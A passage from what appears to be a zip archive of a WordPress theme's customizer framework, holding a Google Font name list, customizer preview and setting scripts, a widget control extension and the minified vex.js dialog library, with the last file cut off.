2','Baloo Thambi 2','Balsamiq Sans','Balthazar','Bangers','Barlow','Barlow Condensed','Barlow Semi Condensed','Barriecito','Barrio','Basic','Baskervville','Battambang','Baumans','Bayon','Be Vietnam','Bebas Neue','Belgrano','Bellefair','Belleza','Bellota','Bellota Text','BenchNine','Bentham','Berkshire Swash','Beth Ellen','Bevan','Big Shoulders Display','Big Shoulders Inline Display','Big Shoulders Inline Text','Big Shoulders Stencil Display','Big Shoulders Stencil Text','Big Shoulders Text','Bigelow Rules','Bigshot One','Bilbo','Bilbo Swash Caps','BioRhyme','BioRhyme Expanded','Biryani','Bitter','Black And White Picture','Black Han Sans','Black Ops One','Blinker','Bokor','Bonbon','Boogaloo','Bowlby One','Bowlby One SC','Brawler','Bree Serif','Bubblegum Sans','Bubbler One','Buda','Buenard','Bungee','Bungee Hairline','Bungee Inline','Bungee Outline','Bungee Shade','Butcherman','Butterfly Kids','Cabin','Cabin Condensed','Cabin Sketch','Caesar Dressing','Cagliostro','Cairo','Caladea','Calistoga','Calligraffitti','Cambay','Cambo','Candal','Cantarell','Cantata One','Cantora One','Capriola','Cardo','Carme','Carrois Gothic','Carrois Gothic SC','Carter One','Castoro','Catamaran','Caudex','Caveat','Caveat Brush','Cedarville Cursive','Ceviche One','Chakra Petch','Changa','Changa One','Chango','Charm','Charmonman','Chathura','Chau Philomene One','Chela One','Chelsea Market','Chenla','Cherry Cream Soda','Cherry Swash','Chewy','Chicle','Chilanka','Chivo','Chonburi','Cinzel','Cinzel Decorative','Clicker Script','Coda','Coda Caption','Codystar','Coiny','Combo','Comfortaa','Comic Neue','Coming Soon','Commissioner','Concert One','Condiment','Content','Contrail One','Convergence','Cookie','Copse','Corben','Cormorant','Cormorant Garamond','Cormorant Infant','Cormorant SC','Cormorant Unicase','Cormorant Upright','Courgette','Courier Prime','Cousine','Coustard','Covered By Your Grace','Crafty Girls','Creepster','Crete Round','Crimson Pro','Crimson Text','Croissant One','Crushed','Cuprum','Cute Font','Cutive','Cutive Mono','DM Mono','DM Sans','DM Serif Display','DM Serif Text','Damion','Dancing Script','Dangrek','Darker Grotesque','David Libre','Dawning of a New Day','Days One','Dekko','Delius','Delius Swash Caps','Delius Unicase','Della Respira','Denk One','Devonshire','Dhurjati','Didact Gothic','Diplomata','Diplomata SC','Do Hyeon','Dokdo','Domine','Donegal One','Doppio One','Dorsa','Dosis','Dr Sugiyama','Duru Sans','Dynalight','EB Garamond','Eagle Lake','East Sea Dokdo','Eater','Economica','Eczar','El Messiri','Electrolize','Elsie','Elsie Swash Caps','Emblema One','Emilys Candy','Encode Sans','Encode Sans Condensed','Encode Sans Expanded','Encode Sans Semi Condensed','Encode Sans Semi Expanded','Engagement','Englebert','Enriqueta','Epilogue','Erica One','Esteban','Euphoria Script','Ewert','Exo','Exo 2','Expletus Sans','Fahkwang','Fanwood Text','Farro','Farsan','Fascinate','Fascinate Inline','Faster One','Fasthand','Fauna One','Faustina','Federant','Federo','Felipa','Fenix','Finger Paint','Fira Code','Fira Mono','Fira Sans','Fira Sans Condensed','Fira Sans Extra Condensed','Fjalla One','Fjord One','Flamenco','Flavors','Fondamento','Fontdiner Swanky','Forum','Francois One','Frank Ruhl Libre','Freckle Face','Fredericka the Great','Fredoka One','Freehand','Fresca','Frijole','Fruktur','Fugaz One','GFS Didot','GFS Neohellenic','Gabriela','Gaegu','Gafata','Galada','Galdeano','Galindo','Gamja Flower','Gayathri','Gelasio','Gentium Basic','Gentium Book Basic','Geo','Geostar','Geostar Fill','Germania One','Gidugu','Gilda Display','Girassol','Give You Glory','Glass Antiqua','Glegoo','Gloria Hallelujah','Goblin One','Gochi Hand','Goldman','Gorditas','Gothic A1','Gotu','Goudy Bookletter 1911','Graduate','Grand Hotel','Grandstander','Gravitas One','Great Vibes','Grenze','Grenze Gotisch','Griffy','Gruppo','Gudea','Gugi','Gupter','Gurajada','Habibi','Halant','Hammersmith One','Hanalei','Hanalei Fill','Handlee','Hanuman','Happy Monkey','Harmattan','Headland One','Heebo','Henny Penny','Hepta Slab','Herr Von Muellerhoff','Hi Melody','Hind','Hind Guntur','Hind Madurai','Hind Siliguri','Hind Vadodara','Holtwood One SC','Homemade Apple','Homenaje','IBM Plex Mono','IBM Plex Sans','IBM Plex Sans Condensed','IBM Plex Serif','IM Fell DW Pica','IM Fell DW Pica SC','IM Fell Double Pica','IM Fell Double Pica SC','IM Fell English','IM Fell English SC','IM Fell French Canon','IM Fell French Canon SC','IM Fell Great Primer','IM Fell Great Primer SC','Ibarra Real Nova','Iceberg','Iceland','Imprima','Inconsolata','Inder','Indie Flower','Inika','Inknut Antiqua','Inria Sans','Inria Serif','Inter','Irish Grover','Istok Web','Italiana','Italianno','Itim','Jacques Francois','Jacques Francois Shadow','Jaldi','JetBrains Mono','Jim Nightshade','Jockey One','Jolly Lodger','Jomhuria','Jomolhari','Josefin Sans','Josefin Slab','Jost','Joti One','Jua','Judson','Julee','Julius Sans One','Junge','Jura','Just Another Hand','Just Me Again Down Here','K2D','Kadwa','Kalam','Kameron','Kanit','Kantumruy','Karla','Karma','Katibeh','Kaushan Script','Kavivanar','Kavoon','Kdam Thmor','Keania One','Kelly Slab','Kenia','Khand','Khmer','Khula','Kirang Haerang','Kite One','Knewave','KoHo','Kodchasan','Kosugi','Kosugi Maru','Kotta One','Koulen','Kranky','Kreon','Kristi','Krona One','Krub','Kufam','Kulim Park','Kumar One','Kumar One Outline','Kumbh Sans','Kurale','La Belle Aurore','Lacquer','Laila','Lakki Reddy','Lalezar','Lancelot','Langar','Lateef','Lato','League Script','Leckerli One','Ledger','Lekton','Lemon','Lemonada','Lexend Deca','Lexend Exa','Lexend Giga','Lexend Mega','Lexend Peta','Lexend Tera','Lexend Zetta','Libre Barcode 128','Libre Barcode 128 Text','Libre Barcode 39','Libre Barcode 39 Extended','Libre Barcode 39 Extended Text','Libre Barcode 39 Text','Libre Barcode EAN13 Text','Libre Baskerville','Libre Caslon Display','Libre Caslon Text','Libre Franklin','Life Savers','Lilita One','Lily Script One','Limelight','Linden Hill','Literata','Liu Jian Mao Cao','Livvic','Lobster','Lobster Two','Londrina Outline','Londrina Shadow','Londrina Sketch','Londrina Solid','Long Cang','Lora','Love Ya Like A Sister','Loved by the King','Lovers Quarrel','Luckiest Guy','Lusitana','Lustria','M PLUS 1p','M PLUS Rounded 1c','Ma Shan Zheng','Macondo','Macondo Swash Caps','Mada','Magra','Maiden Orange','Maitree','Major Mono Display','Mako','Mali','Mallanna','Mandali','Manjari','Manrope','Mansalva','Manuale','Marcellus','Marcellus SC','Marck Script','Margarine','Markazi Text','Marko One','Marmelad','Martel','Martel Sans','Marvel','Mate','Mate SC','Maven Pro','McLaren','Meddon','MedievalSharp','Medula One','Meera Inimai','Megrim','Meie Script','Merienda','Merienda One','Merriweather','Merriweather Sans','Metal','Metal Mania','Metamorphous','Metrophobic','Michroma','Milonga','Miltonian','Miltonian Tattoo','Mina','Miniver','Miriam Libre','Mirza','Miss Fajardose','Mitr','Modak','Modern Antiqua','Mogra','Molengo','Molle','Monda','Monofett','Monoton','Monsieur La Doulaise','Montaga','Montez','Montserrat','Montserrat Alternates','Montserrat Subrayada','Moul','Moulpali','Mountains of Christmas','Mouse Memoirs','Mr Bedfort','Mr Dafoe','Mr De Haviland','Mrs Saint Delafield','Mrs Sheppards','Mukta','Mukta Mahee','Mukta Malar','Mukta Vaani','Mulish','MuseoModerno','Mystery Quest','NTR','Nanum Brush Script','Nanum Gothic','Nanum Gothic Coding','Nanum Myeongjo','Nanum Pen Script','Nerko One','Neucha','Neuton','New Rocker','News Cycle','Niconne','Niramit','Nixie One','Nobile','Nokora','Norican','Nosifer','Notable','Nothing You Could Do','Noticia Text','Noto Sans','Noto Sans HK','Noto Sans JP','Noto Sans KR','Noto Sans SC','Noto Sans TC','Noto Serif','Noto Serif JP','Noto Serif KR','Noto Serif SC','Noto Serif TC','Nova Cut','Nova Flat','Nova Mono','Nova Oval','Nova Round','Nova Script','Nova Slim','Nova Square','Numans','Nunito','Nunito Sans','Odibee Sans','Odor Mean Chey','Offside','Old Standard TT','Oldenburg','Oleo Script','Oleo Script Swash Caps','Open Sans','Open Sans Condensed','Oranienbaum','Orbitron','Oregano','Orienta','Original Surfer','Oswald','Over the Rainbow','Overlock','Overlock SC','Overpass','Overpass Mono','Ovo','Oxanium','Oxygen','Oxygen Mono','PT Mono','PT Sans','PT Sans Caption','PT Sans Narrow','PT Serif','PT Serif Caption','Pacifico','Padauk','Palanquin','Palanquin Dark','Pangolin','Paprika','Parisienne','Passero One','Passion One','Pathway Gothic One','Patrick Hand','Patrick Hand SC','Pattaya','Patua One','Pavanam','Paytone One','Peddana','Peralta','Permanent Marker','Petit Formal Script','Petrona','Philosopher','Piazzolla','Piedra','Pinyon Script','Pirata One','Plaster','Play','Playball','Playfair Display','Playfair Display SC','Podkova','Poiret One','Poller One','Poly','Pompiere','Pontano Sans','Poor Story','Poppins','Port Lligat Sans','Port Lligat Slab','Pragati Narrow','Prata','Preahvihear','Press Start 2P','Pridi','Princess Sofia','Prociono','Prompt','Prosto One','Proza Libre','Public Sans','Puritan','Purple Purse','Quando','Quantico','Quattrocento','Quattrocento Sans','Questrial','Quicksand','Quintessential','Qwigley','Racing Sans One','Radley','Rajdhani','Rakkas','Raleway','Raleway Dots','Ramabhadra','Ramaraja','Rambla','Rammetto One','Ranchers','Rancho','Ranga','Rasa','Rationale','Ravi Prakash','Recursive','Red Hat Display','Red Hat Text','Red Rose','Redressed','Reem Kufi','Reenie Beanie','Revalia','Rhodium Libre','Ribeye','Ribeye Marrow','Righteous','Risque','Roboto','Roboto Condensed','Roboto Mono','Roboto Slab','Rochester','Rock Salt','Rokkitt','Romanesco','Ropa Sans','Rosario','Rosarivo','Rouge Script','Rowdies','Rozha One','Rubik','Rubik Mono One','Ruda','Rufina','Ruge Boogie','Ruluko','Rum Raisin','Ruslan Display','Russo One','Ruthie','Rye','Sacramento','Sahitya','Sail','Saira','Saira Condensed','Saira Extra Condensed','Saira Semi Condensed','Saira Stencil One','Salsa','Sanchez','Sancreek','Sansita','Sansita Swashed','Sarabun','Sarala','Sarina','Sarpanch','Satisfy','Sawarabi Gothic','Sawarabi Mincho','Scada','Scheherazade','Schoolbell','Scope One','Seaweed Script','Secular One','Sedgwick Ave','Sedgwick Ave Display','Sen','Sevillana','Seymour One','Shadows Into Light','Shadows Into Light Two','Shanti','Share','Share Tech','Share Tech Mono','Shojumaru','Short Stack','Shrikhand','Siemreap','Sigmar One','Signika','Signika Negative','Simonetta','Single Day','Sintony','Sirin Stencil','Six Caps','Skranji','Slabo 13px','Slabo 27px','Slackey','Smokum','Smythe','Sniglet','Snippet','Snowburst One','Sofadi One','Sofia','Solway','Song Myung','Sonsie One','Sora','Sorts Mill Goudy','Source Code Pro','Source Sans Pro','Source Serif Pro','Space Grotesk','Space Mono','Spartan','Special Elite','Spectral','Spectral SC','Spicy Rice','Spinnaker','Spirax','Squada One','Sree Krushnadevaraya','Sriracha','Srisakdi','Staatliches','Stalemate','Stalinist One','Stardos Stencil','Stint Ultra Condensed','Stint Ultra Expanded','Stoke','Strait','Stylish','Sue Ellen Francisco','Suez One','Sulphur Point','Sumana','Sunflower','Sunshiney','Supermercado One','Sura','Suranna','Suravaram','Suwannaphum','Swanky and Moo Moo','Syncopate','Syne','Syne Mono','Syne Tactile','Tajawal','Tangerine','Taprom','Tauri','Taviraj','Teko','Telex','Tenali Ramakrishna','Tenor Sans','Text Me One','Texturina','Thasadith','The Girl Next Door','Tienne','Tillana','Timmana','Tinos','Titan One','Titillium Web','Tomorrow','Trade Winds','Trirong','Trispace','Trocchi','Trochut','Trykker','Tulpen One','Turret Road','Ubuntu','Ubuntu Condensed','Ubuntu Mono','Ultra','Uncial Antiqua','Underdog','Unica One','UnifrakturCook','UnifrakturMaguntia','Unkempt','Unlock','Unna','VT323','Vampiro One','Varela','Varela Round','Varta','Vast Shadow','Vesper Libre','Viaoda Libre','Vibes','Vibur','Vidaloka','Viga','Voces','Volkhov','Vollkorn','Vollkorn SC','Voltaire','Waiting for the Sunrise','Wallpoet','Walter Turncoat','Warnes','Wellfleet','Wendy One','Wire One','Work Sans','Xanh Mono','Yanone Kaffeesatz','Yantramanav','Yatra One','Yellowtail','Yeon Sung','Yeseva One','Yesteryear','Yrsa','ZCOOL KuaiLe','ZCOOL QingKe HuangYou','ZCOOL XiaoWei','Zeyada','Zhi Mang Xing','Zilla Slab','Zilla Slab Highlight');

PK     0w\    A  customizer/framework/assets/js/customizer/redirect-tag-preview.jsnu [        (function (api) {
  'use strict'

  if (!api.redirectTag) {
    api.redirectTag = {}
  }

  api.redirectTag = {
    dialogOpen: false,
  }

  api.redirectTag.registerTag = function (object) {
    api(object.id, function (setting) {
      setting.bind(function () {
        api.redirectTag.handleChange(object.redirect, object.refresh)
      })
    })
  }

  api.redirectTag.handleChange = function (tag, refresh) {
    var redirect = outputSetting.redirectTag[tag]

    if (!redirect.flag) {
      if (!api.redirectTag.dialogOpen) {
        api.redirectTag.dialogOpen = true
        vex.dialog.confirm({
          message: outputSetting.redirectSetting.changeNotice,
          showCloseButton: false,
          callback: function (value) {
            if (value) {
              api.redirectTag.redirectPreview(redirect.url)
            } else {
              api.redirectTag.dialogOpen = false
              api.redirectTag.refreshPreviewer(refresh, redirect.flag)
            }
          },
        })
      }
    } else {
      api.redirectTag.refreshPreviewer(refresh, redirect.flag)
    }
  }

  /**
   * Redirect Previewer to appropriate URL
   *
   * @param url
   */
  api.redirectTag.redirectPreview = function (url) {
    var customizerpreview = new api.Preview({
      url: url,
      channel: api.settings.channel,
    })

    customizerpreview.send('scroll', 0)
    customizerpreview.send('url', url)
  }

  /**
   * Force Refresh previewer
   *
   * @param refresh
   * @param flag
   */
  api.redirectTag.refreshPreviewer = function (refresh, flag) {
    if (refresh && flag) {
      if(api.previewer) {
        api.previewer.refresh()
      } else {
        api.preview.send('refresh')
      }
    }
  }

  /**
   * Bind Setting for partial refresh
   */
  api.redirectTag.initialize = function () {
    api.preview.bind('register-redirect-tag', function (object) {
      api.redirectTag.registerTag(object)
    })

    api.preview.bind('register-all-redirect-tag', function (objects) {
      _.each(objects, function (object) {
        api.redirectTag.registerTag(object)
      })
    })
  }

  /**
   * Initialize partial refresh
   */
  api.bind('preview-ready', function () {
    api.redirectTag.initialize()
  })
})(wp.customize)
PK     0w\N  N  >  customizer/framework/assets/js/customizer/set-setting-value.jsnu [        function soledadSetSettingValue(control, value) {
    "use strict";

    var api = wp.customize,
        $ = jQuery;

    /**
     * Get the control of the sub-setting.
     * This will be used to get properties we need from that control,
     * and determine if we need to do any further work based on those.
     */
    var subControl = api.control(control);

    if (typeof subControl === 'undefined')
        throw "Control : " + control + " not found";

    var setting = subControl.setting,
        container = $(subControl.container),
        $select,
        selectize,
        controlType,
        alphaColorControl,
        typographyColor;

    /**
     * Get the control-type of this sub-setting.
     * We want the value to live-update on the controls themselves,
     * so depending on the control's type we'll need to do different things.
     */
    controlType = subControl.params.type;

    /**
     * Below we're starting to check the control tyype and depending on what that is,
     * make the necessary adjustments to it.
     */

    if ('soledad-fw-toggle' === controlType) {

        if (1 === value || '1' === value || true === value) {

            // Update the value visually in the control
            container.find('input').prop('checked', true);

            // Update the value in the customizer object
            setting.set(true);

        } else {

            // Update the value visually in the control
            container.find('input').prop('checked', false);

            // Update the value in the customizer object
            setting.set(false);

        }

    } else if ('soledad-fw-select' === controlType || 'soledad-fw-preset' === controlType) {

        // Update the value visually in the control
        $select = container.find('select').selectize();

        selectize = $select[0].selectize;

        selectize.setValue(value, true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-slider' === controlType) {

        // Update the value visually in the control (slider)
        container.find('input').prop('value', value);

        // Update the value visually in the control (number)
        container.find('.kirki_range_value .value').html(value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-generic' === controlType && undefined !== subControl.choices && undefined !== subControl.choices.element && 'textarea' === subControl.choices.element) {

        // Update the value visually in the control
        container.find('textarea').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-color' === controlType) {

        alphaColorControl = container.find('.soledad-fw-color-control');

        alphaColorControl.val(value).trigger('change');

        setting.set(value);

    } else if ('soledad-fw-multicheck' === controlType) {

        // Update the value in the customizer object
        setting.set(value);

        /**
         * Update the value visually in the control.
         * This value is an array so we'll have to go through each one of the items
         * in order to properly apply the value and check each checkbox separately.
         *
         * First we uncheck ALL checkboxes in the control
         * Then we check the ones that we want.
         */
        container.find('input').each(function () {
            $(this).prop('checked', false);
        });

        _.each(value, function (subValue, i) {
            container.find('input[value="' + value[i] + '"]').prop('checked', true);
        });

    } else if ('soledad-fw-radio-buttonset' === controlType || 'soledad-fw-radio-image' === controlType || 'soledad-fw-radio' === controlType || 'soledad-fw-dashicons' === controlType || 'soledad-fw-color-palette' === controlType || 'soledad-fw-palette' === controlType) {

        // Update the value visually in the control
        container.find('input[value="' + value + '"]').prop('checked', true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-typography' === controlType) {

        if (undefined !== value['font-family']) {

            $select = $(container.find('.font-family select')).selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value['font-family'], true);
            }

        }

        if (undefined !== value.variant) {

            $select = container.find('.variant select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.variant, true);
            }

        }

        if (undefined !== value.subsets) {

            $select = container.find('.subset select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.subset, true);
            }

        }

        if (undefined !== value['font-size']) {

            // Update the value visually in the control
            container.find('.font-size input').prop('value', value['font-size']);

        }

        if (undefined !== value['line-height']) {

            // Update the value visually in the control
            container.find('.line-height input').prop('value', value['line-height']);

        }

        if (undefined !== value['letter-spacing']) {

            // Update the value visually in the control
            container.find('.letter-spacing input').prop('value', value['letter-spacing']);

        }

        if (undefined !== value.color) {

            // Update the value visually in the control
            typographyColor = container.find('.soledad-fw-color-control');

            typographyColor
                .attr('data-default-color', value)
                // .data( 'default-color', value )
                .wpColorPicker('color', value);
        }

        // Update the value in the customizer object
        setting.set(value);

    } else if ('repeater' === controlType) {
        // Do nothing
    }

    /**
     * Fallback for all other controls.
     */
    else {
        // Update the value visually in the control
        container.find('input').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);
    }
}
PK     0w\I4i  i  :  customizer/framework/assets/js/customizer/widget-extend.jsnu [        (function ($, api) {
    "use strict";
    api.controlConstructor['widget_form'] = api.Widgets.WidgetControl.extend({
        alert: false,
        initialize: function (id, options) {
            var control = this;
            api.Widgets.WidgetControl.prototype.initialize.call(control, id, options);
            control.bindOnExpand();
        },
        bindOnExpand: function () {
            var control = this;
            this.container.on('expand', function () {
                var base = control.params.widget_id_base;
                var start = base.startsWith('soledad');
                if (start && !control.alert) {
                    var content = control.container.find('.widget-content');
                    var html = this.compileTemplate('widget-alert', window.widgetLang);
                    content.append(html);
                    control.alert = true;
                }
            });
        },
        compileTemplate: function (template, data) {
            var compiledTemplate = wp.template(template);
            return $(compiledTemplate(data));
        }
    });
})(jQuery, wp.customize);
PK     0w\ D  D  =  customizer/framework/assets/js/customizer/vex.combined.min.jsnu [        /*! vex.js, vex.dialog.js 2.2.1 */
(function(){var a;a=function(a){var b,c;return b=!1,a(function(){var d;return d=(document.body||document.documentElement).style,b=void 0!==d.animation||void 0!==d.WebkitAnimation||void 0!==d.MozAnimation||void 0!==d.MsAnimation||void 0!==d.OAnimation,a(window).bind("keyup.vex",function(a){return 27===a.keyCode?c.closeByEscape():void 0})}),c={globalID:1,animationEndEvent:"animationend webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend",baseClassNames:{vex:"vex",content:"vex-content",overlay:"vex-overlay",close:"vex-close",closing:"vex-closing",open:"vex-open"},defaultOptions:{content:"",showCloseButton:!0,escapeButtonCloses:!0,overlayClosesOnClick:!0,appendLocation:"body",className:"",css:{},overlayClassName:"",overlayCSS:{},contentClassName:"",contentCSS:{},closeClassName:"",closeCSS:{}},open:function(b){return b=a.extend({},c.defaultOptions,b),b.id=c.globalID,c.globalID+=1,b.$vex=a("<div>").addClass(c.baseClassNames.vex).addClass(b.className).css(b.css).data({vex:b}),b.$vexOverlay=a("<div>").addClass(c.baseClassNames.overlay).addClass(b.overlayClassName).css(b.overlayCSS).data({vex:b}),b.overlayClosesOnClick&&b.$vexOverlay.bind("click.vex",function(b){return b.target===this?c.close(a(this).data().vex.id):void 0}),b.$vex.append(b.$vexOverlay),b.$vexContent=a("<div>").addClass(c.baseClassNames.content).addClass(b.contentClassName).css(b.contentCSS).append(b.content).data({vex:b}),b.$vex.append(b.$vexContent),b.showCloseButton&&(b.$closeButton=a("<div>").addClass(c.baseClassNames.close).addClass(b.closeClassName).css(b.closeCSS).data({vex:b}).bind("click.vex",function(){return c.close(a(this).data().vex.id)}),b.$vexContent.append(b.$closeButton)),a(b.appendLocation).append(b.$vex),c.setupBodyClassName(b.$vex),b.afterOpen&&b.afterOpen(b.$vexContent,b),setTimeout(function(){return b.$vexContent.trigger("vexOpen",b)},0),b.$vexContent},getAllVexes:function(){return a("."+c.baseClassNames.vex+':not(".'+c.baseClassNames.closing+'") .'+c.baseClassNames.content)},getVexByID:function(b){return c.getAllVexes().filter(function(){return a(this).data().vex.id===b})},close:function(a){var b;if(!a){if(b=c.getAllVexes().last(),!b.length)return!1;a=b.data().vex.id}return c.closeByID(a)},closeAll:function(){var b;return b=c.getAllVexes().map(function(){return a(this).data().vex.id}).toArray(),(null!=b?b.length:void 0)?(a.each(b.reverse(),function(a,b){return c.closeByID(b)}),!0):!1},closeByID:function(d){var e,f,g,h,i;return f=c.getVexByID(d),f.length?(e=f.data().vex.$vex,i=a.extend({},f.data().vex),g=function(){return i.beforeClose?i.beforeClose(f,i):void 0},h=function(){return f.trigger("vexClose",i),e.remove(),a("body").trigger("vexAfterClose",i),i.afterClose?i.afterClose(f,i):void 0},b?(g(),e.unbind(c.animationEndEvent).bind(c.animationEndEvent,function(){return h()}).addClass(c.baseClassNames.closing)):(g(),h()),!0):void 0},closeByEscape:function(){var b,d,e;return e=c.getAllVexes().map(function(){return a(this).data().vex.id}).toArray(),(null!=e?e.length:void 0)?(d=Math.max.apply(Math,e),b=c.getVexByID(d),b.data().vex.escapeButtonCloses!==!0?!1:c.closeByID(d)):!1},setupBodyClassName:function(){return a("body").bind("vexOpen.vex",function(){return a("body").addClass(c.baseClassNames.open)}).bind("vexAfterClose.vex",function(){return c.getAllVexes().length?void 0:a("body").removeClass(c.baseClassNames.open)})},hideLoading:function(){return a(".vex-loading-spinner").remove()},showLoading:function(){return c.hideLoading(),a("body").append('<div class="vex-loading-spinner '+c.defaultOptions.className+'"></div>')}}},"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):window.vex=a(jQuery)}).call(this),function(){var a;a=function(a,b){var c,d;return null==b?a.error("Vex is required to use vex.dialog"):(c=function(b){var c;return c={},a.each(b.serializeArray(),function(){return c[this.name]?(c[this.name].push||(c[this.name]=[c[this.name]]),c[this.name].push(this.value||"")):c[this.name]=this.value||""}),c},d={},d.buttons={YES:{text:"OK",type:"submit",className:"vex-dialog-button-primary"},NO:{text:"Cancel",type:"button",className:"vex-dialog-button-secondary",click:function(a){return a.data().vex.value=!1,b.close(a.data().vex.id)}}},d.defaultOptions={callback:function(){},afterOpen:function(){},message:"Message",input:'<input name="vex" type="hidden" value="_vex-empty-value" />',value:!1,buttons:[d.buttons.YES,d.buttons.NO],showCloseButton:!1,onSubmit:function(e){var f,g;return f=a(this),g=f.parent(),e.preventDefault(),e.stopPropagation(),g.data().vex.value=d.getFormValueOnSubmit(c(f)),b.close(g.data().vex.id)},focusFirstInput:!0},d.defaultAlertOptions={message:"Alert",buttons:[d.buttons.YES]},d.defaultConfirmOptions={message:"Confirm"},d.open=function(c){var e;return c=a.extend({},b.defaultOptions,d.defaultOptions,c),c.content=d.buildDialogForm(c),c.beforeClose=function(a){return c.callback(a.data().vex.value)},e=b.open(c),c.focusFirstInput&&e.find('input[type="submit"], textarea, input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="password"], input[type="search"], input[type="tel"], input[type="text"], input[type="time"], input[type="url"], input[type="week"]').first().focus(),e},d.alert=function(b){return"string"==typeof b&&(b={message:b}),b=a.extend({},d.defaultAlertOptions,b),d.open(b)},d.confirm=function(b){return"string"==typeof b?a.error("dialog.confirm(options) requires options.callback."):(b=a.extend({},d.defaultConfirmOptions,b),d.open(b))},d.prompt=function(b){var c;return"string"==typeof b?a.error("dialog.prompt(options) requires options.callback."):(c={message:'<label for="vex">'+(b.label||"Prompt:")+"</label>",input:'<input name="vex" type="text" class="vex-dialog-prompt-input" placeholder="'+(b.placeholder||"")+'"  value="'+(b.value||"")+'" />'},b=a.extend({},c,b),d.open(b))},d.buildDialogForm=function(b){var c,e,f;return c=a('<form class="vex-dialog-form" />'),f=a('<div class="vex-dialog-message" />'),e=a('<div class="vex-dialog-input" />'),c.append(f.append(b.message)).append(e.append(b.input)).append(d.buttonsToDOM(b.buttons)).bind("submit.vex",b.onSubmit),c},d.getFormValueOnSubmit=function(a){return a.vex||""===a.vex?"_vex-empty-value"===a.vex?!0:a.vex:a},d.buttonsToDOM=function(c){var d;return d=a('<div class="vex-dialog-buttons" />'),a.each(c,function(e,f){var g;return g=a('<input type="'+f.type+'" />').val(f.text).addClass(f.className+" vex-dialog-button "+(0===e?"vex-first ":"")+(e===c.length-1?"vex-last ":"")).bind("click.vex",function(c){return f.click?f.click(a(this).parents("."+b.baseClassNames.content),c):void 0}),g.appendTo(d)}),d},d)},"function"==typeof define&&define.amd?define(["jquery","vex"],a):"object"==typeof exports?module.exports=a(require("jquery"),require("vex")):window.vex.dialog=a(window.jQuery,window.vex)}.call(this);PK     0w\>>  >  A  customizer/framework/assets/js/customizer/style-output-preview.jsnu [        (function (api, $) {
    "use strict";

    if (!api.styleOutput) {
        api.styleOutput = {};
    }

    api.styleOutput = {
        rulesCache: [],
    };

    api.styleOutput.generateStyle = function (value, option) {
        if (undefined === option.property) {
            option.property = '';
        }

        if (undefined === option.prefix) {
            option.prefix = '';
        }

        if (undefined === option.units) {
            option.units = '';
        }

        if (undefined === option.suffix) {
            option.suffix = '';
        }

        return option.property + ' : ' + option.prefix + value + option.units + option.suffix + ';';
    };

    api.styleOutput.getFontVariant = function ($variant) {
        if ($variant === '100') {
            return {'weight': '100', 'style': 'normal'};
        }
        if ($variant === '100reguler') {
            return {'weight': '100', 'style': 'reguler'};
        }
        if ($variant === '100italic') {
            return {'weight': '100', 'style': 'italic'};
        }
        if ($variant === '200') {
            return {'weight': '200', 'style': 'normal'};
        }
        if ($variant === '200reguler') {
            return {'weight': '200', 'style': 'reguler'};
        }
        if ($variant === '200italic') {
            return {'weight': '200', 'style': 'italic'};
        }
        if ($variant === '300') {
            return {'weight': '300', 'style': 'normal'};
        }
        if ($variant === '300reguler') {
            return {'weight': '300', 'style': 'reguler'};
        }
        if ($variant === '300italic') {
            return {'weight': '300', 'style': 'italic'};
        }
        if ($variant === 'regular') {
            return {'weight': '400', 'style': 'normal'};
        }
        if ($variant === 'italic') {
            return {'weight': '400', 'style': 'italic'};
        }
        if ($variant === '400reguler') {
            return {'weight': '400', 'style': 'reguler'};
        }
        if ($variant === '400italic') {
            return {'weight': '400', 'style': 'italic'};
        }
        if ($variant === '500') {
            return {'weight': '500', 'style': 'normal'};
        }
        if ($variant === '500reguler') {
            return {'weight': '500', 'style': 'reguler'};
        }
        if ($variant === '500italic') {
            return {'weight': '500', 'style': 'italic'};
        }
        if ($variant === '600') {
            return {'weight': '600', 'style': 'normal'};
        }
        if ($variant === '600reguler') {
            return {'weight': '600', 'style': 'reguler'};
        }
        if ($variant === '600italic') {
            return {'weight': '600', 'style': 'italic'};
        }
        if ($variant === '700') {
            return {'weight': '700', 'style': 'normal'};
        }
        if ($variant === '700reguler') {
            return {'weight': '700', 'style': 'reguler'};
        }
        if ($variant === '700italic') {
            return {'weight': '700', 'style': 'italic'};
        }
        if ($variant === '800') {
            return {'weight': '800', 'style': 'normal'};
        }
        if ($variant === '800reguler') {
            return {'weight': '800', 'style': 'reguler'};
        }
        if ($variant === '800italic') {
            return {'weight': '800', 'style': 'italic'};
        }
        if ($variant === '900') {
            return {'weight': '900', 'style': 'normal'};
        }
        if ($variant === '900reguler') {
            return {'weight': '900', 'style': 'reguler'};
        }
        if ($variant === '900italic') {
            return {'weight': '900', 'style': 'italic'};
        }
    };

    api.styleOutput.generateFontStyle = function (value) {
        var style = '';

        if (value['font-family'] !== '') {
            style += 'font-family: ' + value['font-family'] + '; ';

            if (value['variant'] && value['variant'].constructor === Array && value['variant'].length === 1) {
                var variant = this.getFontVariant(value['variant'][0]);
                style += 'font-weight : ' + variant['weight'] + '; ';
                style += 'font-style : ' + variant['style'] + '; ';
            }


            if (value['font-size'] && value['font-size'] !== '') {
                style += 'font-size: ' + value['font-size'] + '; ';
            }

            if (value['letter-spacing'] && value['letter-spacing'] !== '') {
                style += 'letter-spacing: ' + value['letter-spacing'] + '; ';
            }

            if (value['color'] && value['color'] !== '') {
                style += 'color : ' + value['color'] + '; ';
            }

            if (value['line-height'] && value['line-height'] !== '') {
                style += 'line-height: ' + value['line-height'] + '; ';
            }

            if (value['text-transform'] && value['text-transform'] !== '') {
                style += 'text-transform : ' + value['text-transform'] + '; ';
            }

        }

        return style;
    };

